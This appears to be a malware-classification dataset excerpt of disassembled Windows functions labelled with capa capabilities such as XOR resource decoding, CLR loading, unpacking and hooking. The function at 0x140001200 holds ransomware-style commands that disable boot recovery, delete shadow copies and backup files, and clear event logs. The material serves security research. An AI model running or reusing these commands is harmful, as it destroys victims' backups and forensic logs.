joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140012660
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
mov ebx, ecx
mov rsi, r8
xor ecx, ecx
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx edx, bx
mov r8, rdi
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x14001278c
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rdi
mov rcx, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test rbx, rbx
je 0x14001278c
test eax, eax
je 0x14001278c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
je 0x14001278c
mov rcx, qword [rsi]
mov dword [rbp - 0x20], 0x6744b31e
mov dword [rbp - 0x1c], 0x636101ac
mov dword [rbp - 0x18], 0x981161e
mov dword [rbp - 0x14], 0x383ce5cc
mov dword [rbp - 0x10], 0x3574f850
mov dword [rbp - 0xc], 0x6c0715c6
mov dword [rbp - 8], 0xe674a4a5
mov dword [rbp - 4], 0xcb995d9b
cmp rcx, qword [rsi + 8]
je 0x14001272b
mov qword [rsi + 8], rcx
mov rax, qword [rsi + 0x10]
sub rax, rcx
mov qword [rbp + 0x38], rdi
cmp rdi, rax
jbe 0x140012747
lea rdx, [rbp + 0x38]
mov rcx, rsi
call fcn.1400127d0
xor ebx, ebx
test rdi, rdi
je 0x140012788
nop
mov rdx, qword [rsi + 8]
mov rax, rbx
and eax, 0x1f
movzx ecx, byte [rbp + rax - 0x20]
xor cl, byte [r14 + rbx]
mov byte [rbp + 0x20], cl
cmp rdx, qword [rsi + 0x10]
je 0x140012774
mov byte [rdx], cl
inc qword [rsi + 8]
jmp 0x140012780
lea r8, [rbp + 0x20]
mov rcx, rsi
call fcn.1400128c0
inc rbx
cmp rbx, rdi
jb 0x140012750
mov al, 1
jmp 0x14001278e
xor al, al
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rbp
ret
Function at 0x140012fb0
Capabilities:
Load windows common language runtime

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
cmp qword [0x1400762e0], 0
jne 0x1400130a2
xor ebx, ebx
lea r8, [rsp + 0x48]
lea rdx, [0x140066d88]
mov qword [rsp + 0x48], rbx
lea rcx, [0x140066d78]
call qword [sym.imp.mscoree.dll_CLRCreateInstance]
lea rdi, [0x1400762e0]
test eax, eax
js 0x140013065
mov rcx, qword [rsp + 0x48]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x40], rbx
lea r8, [0x140066d68]
lea rdx, str.v4.0.30319
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov ebx, eax
test eax, eax
js 0x140013056
mov rcx, qword [rsp + 0x40]
lea r8, [0x140062f38]
mov r9, rdi
lea rdx, [0x140062f48]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov ebx, eax
test eax, eax
js 0x14001304b
mov rcx, qword [0x1400762e0]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
test ebx, ebx
jns 0x1400130a2
cmp qword [0x1400762e0], 0
jne 0x1400130a2
lea r9, [0x140062f38]
mov qword [rsp + 0x20], rdi
lea r8, [0x140062f48]
xor edx, edx
lea rcx, str.v2.0.50727
call qword [sym.imp.mscoree.dll_CorBindToRuntime]
test eax, eax
js 0x1400130af
mov rcx, qword [0x1400762e0]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov al, 1
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
xor r9d, r9d
lea r8, [0x1400666b8]
lea rdx, [0x1400666d0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rbx, qword [rsp + 0x50]
xor al, al
add rsp, 0x30
pop rdi
ret
Function at 0x1400151c0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov edi, r9d
mov rbx, rdx
test r8b, r8b
jne 0x1400152b2
mov rdx, rcx
lea rcx, [rsp + 0x60]
call fcn.140011ed0
mov rdx, rbx
lea rcx, [rsp + 0x80]
call fcn.140011ed0
mov dword [rsp + 0xa0], edi
mov ecx, 0x48
call fcn.140030f24
mov rbx, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140011ed0
nop
lea rcx, [rbx + 0x20]
lea rdx, [rsp + 0x80]
call fcn.140011ed0
mov ecx, dword [rsp + 0xa0]
mov dword [rbx + 0x40], ecx
mov qword [rsp + 0x40], rbx
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rbx
lea r8, [0x14001afb0]
xor edx, edx
xor ecx, ecx
call fcn.14003c338
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400152f5
lea rcx, [rsp + 0x60]
call fcn.140015320
cmp dword [rsp + 0x38], 0
je 0x140015308
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.140030654
test eax, eax
jne 0x140015308
jmp 0x1400152d4
cmp qword [rdx + 0x18], 7
jbe 0x1400152bc
mov rbx, qword [rdx]
cmp qword [rcx + 0x18], 7
jbe 0x1400152c6
mov rcx, qword [rcx]
mov r8, rbx
mov rdx, rcx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140030ed0
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop rdi
ret
mov dword [rsp + 0x38], 0
mov ecx, 6
call fcn.1400305b8
nop
mov ecx, 1
call fcn.1400305b8
int3

Function at 0x1400153e0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015450
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140002740
mov dword [rsp + 0x30], 1
mov r8d, SafeArrayDestroy
lea rdx, [0x140067680]
mov rcx, rbx
call fcn.140003060
mov rax, rbx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140030ed0
add rsp, 0x260
pop rbx
ret
Function at 0x1400190c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
movabs rax, 0xcbf29ce484222325
sar r8, 1
mov r9d, 0
add r8, r8
je 0x140019104
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1400190f0
ret
Function at 0x14001e760
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
mov ebp, 0xfffd
nop word [rax + rax]
movzx ecx, word [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp ax, 9
ja 0x14001e843
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x14001e843
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x14001e861
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x14001e833
cmp word [rax], 0x5c
jne 0x14001e82c
lea rdx, [rax + 2]
cmp rdx, rcx
je 0x14001e82c
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x14001e817
movzx ecx, word [rdx]
sub cx, 0x28
cmp cx, 1
jbe 0x14001e829
test r8b, 0x10
jne 0x14001e82c
movzx ecx, word [rdx]
sub cx, 0x7b
test bp, cx
jne 0x14001e82c
mov rax, rdx
add rax, 2
mov qword [rbx], rax
mov rcx, rbx
call fcn.14001a940
test edi, edi
jne 0x14001e790
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.14001a930
int3
Function at 0x140026310
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0xb0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0xa8], rax
movzx esi, r8b
xor ebp, ebp
lea rcx, [rsp + 0x58]
call fcn.140001e80
mov r14, rax
mov qword [rsp + 0x50], rax
mov rdi, qword [0x1400762d8]
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.140001e80
mov byte [rsp + 0x98], sil
mov qword [rsp + 0xa0], rdi
lea ecx, [rbp + 0x30]
call fcn.140030f24
mov rbx, rax
movups xmm0, xmmword [rsp + 0x78]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x88]
movups xmmword [rax + 0x10], xmm1
mov qword [rsp + 0x88], rbp
mov qword [rsp + 0x90], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [rsp + 0x78], bpl
mov byte [rax + 0x20], sil
mov qword [rax + 0x28], rdi
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x30]
call fcn.1400122a0
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebp
mov r9, rbx
lea r8, [0x140012460]
xor edx, edx
xor ecx, ecx
call fcn.14003c338
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14002649b
cmp dword [rsp + 0x48], ebp
je 0x140026490
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call fcn.140030654
test eax, eax
jne 0x140026490
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140026458
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140026453
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400264aa
mov rcx, r8
call fcn.140030ef0
mov qword [r14 + 0x10], rbp
mov qword [r14 + 0x18], reloc.OLEAUT32.dll_SafeArrayDestroy
mov byte [r14], 0
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140030ed0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov ecx, 1
call fcn.1400305b8
nop
mov dword [rsp + 0x48], ebp
mov ecx, 6
call fcn.1400305b8
nop
call fcn.140037dec
int3
Function at 0x14002e4e0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r8
mov r9, rdx
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx + 0x80]
call qword [0x1400761f8]
mov rbx, rax
test rax, rax
jne 0x14002e66d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x68]
call fcn.1400278b0
nop
lea r8, [0x140076620]
cmp qword [0x140076638], 7
cmova r8, qword [0x140076620]
mov r9, qword [0x140076630]
mov rcx, rax
call fcn.140006af0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea r8, [0x140076400]
cmp qword [0x140076418], 7
cmova r8, qword [0x140076400]
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x14002e615
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e610
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e6b6
call fcn.140030ef0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 7
mov word [rsp + 0x48], di
mov rdx, qword [rsp + 0x80]
cmp rdx, 7
jbe 0x14002e669
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002e664
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e6b0
call fcn.140030ef0
xor al, al
jmp 0x14002e68f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140030ed0
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
ret
call fcn.140037dec
nop
call fcn.140037dec
nop
int3
Function at 0x140031ccc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140031d16
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140031d16
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140031d16
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140031d16
cmp dword [rcx + 0x84], 0xe
jbe 0x140031d16
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140031d18
xor al, al
add rsp, 0x28
ret

Function at 0x14003beac
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14003bd3f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003bd3f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003bd3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003bd3f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003bd3f
cmp dword [rcx + 0x84], 0xe
jbe 0x14003bd3f
cmp dword [rcx + 0xf8], 0
je 0x14003bd3f
mov ecx, ebx
call fcn.14003bde0
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14003bbd0
cmp dword [rbp + 0x20], 0
je 0x14003bd8c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14003bd94
int3
xor r8d, r8d
xor edx, edx
jmp 0x14003bcd8
Function at 0x140052ed0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140052ef8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140052ef8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001200
Capabilities:
Clear windows event logs
Delete volume shadow copies
Disable automatic windows recovery features
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
xor ebx, ebx
mov word [rsp + 0x68], 0x500
lea rax, [rsp + 0x70]
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x64]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x64], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001283
mov rdx, qword [rsp + 0x70]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140001278
mov dword [rsp + 0x60], ebx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], ebx
je 0x1400012dc
lea rcx, str.bcdedit__set_default_recoveryenabled_No
call fcn.140001070
lea rcx, str.bcdedit__set_default_bootstatuspolicy_ignoreallfailures
call fcn.140001070
lea rcx, str.del__s__f__q_C:.vhd
call fcn.140001070
lea rcx, str.del__s__f__q_C:.bak
call fcn.140001070
lea rcx, str.wevtutil_cl_Application__wevtutil_cl_Security__wevtutil_cl_System
call fcn.140001070
lea rcx, str.vssadmin_delete_shadows__all__quiet
call fcn.140001070
xor eax, eax
add rsp, 0x80
pop rbx
ret
call fcn.140001170
int3

Function at 0x140001a3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a86
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a88
xor al, al
add rsp, 0x28
ret
Function at 0x140e22058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140e221df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140e22089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e2206f
add dl, dl
jne 0x140e22096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e220f6
xor eax, eax
add dl, dl
jne 0x140e220a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e221ad
add dl, dl
jne 0x140e220b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e220c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e220d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e220dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140e220ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140e2207e
mov eax, 1
add dl, dl
jne 0x140e22106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e22113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e220fb
sub eax, ebx
mov ebx, 1
jne 0x140e2214c
mov ecx, 1
add dl, dl
jne 0x140e2212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e2213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e22123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e2207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140e22168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e22175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e2215d
cmp eax, 0x7d00
jae 0x140e2219b
cmp eax, 0x500
jb 0x140e22196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e2207e
cmp eax, 0x7f
ja 0x140e2219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e2207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140e221d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140e2207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400271b0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400271bd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400271cd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400271b5
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x1400271e5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400271d2
sub eax, 3
jb 0x1400271ff
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140027236
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140027226
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140027224
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140027213
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140027172
jmp 0x1400271bd
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x25000]
mov eax, dword [rdi]
or eax, eax
je 0x140027292
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x271dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140027242
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14002728c
mov qword [rbx], rax
add rbx, 8
jmp 0x140027262
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400272cc
cmp al, 0xef
ja 0x1400272be
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14002729e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400272ad
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140027320
sub rsp, 0xffffffffffffff80
jmp 0x14001128a
Function at 0x180005d20
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x180063040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
lea rcx, str.Pipsi_HSR.cfg
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180005da0
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, 0x12a4
lea rdx, [0x1800630c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180051120
add rsp, 0x50
pop rbx
ret

Function at 0x180005dc0
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x180063040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 0
lea rcx, str.Pipsi_HSR.cfg
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x180005e4f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x12a4
jne 0x180005e46
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, eax
lea rdx, [0x1800630c0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180051120
add rsp, 0x50
pop rbx
ret

Function at 0x180008030
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x180063040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, rdx
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rdx
call fcn.180050260
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.180050920
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.18004fc20
test eax, eax
je 0x1800080a3
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_attach_hook.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.180050320
mov rbx, qword [rsp + 0x20]
lea rdx, [rsp + 0x28]
call fcn.1800080d0
mov qword [rax], rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180051120
add rsp, 0x40
pop rbx
ret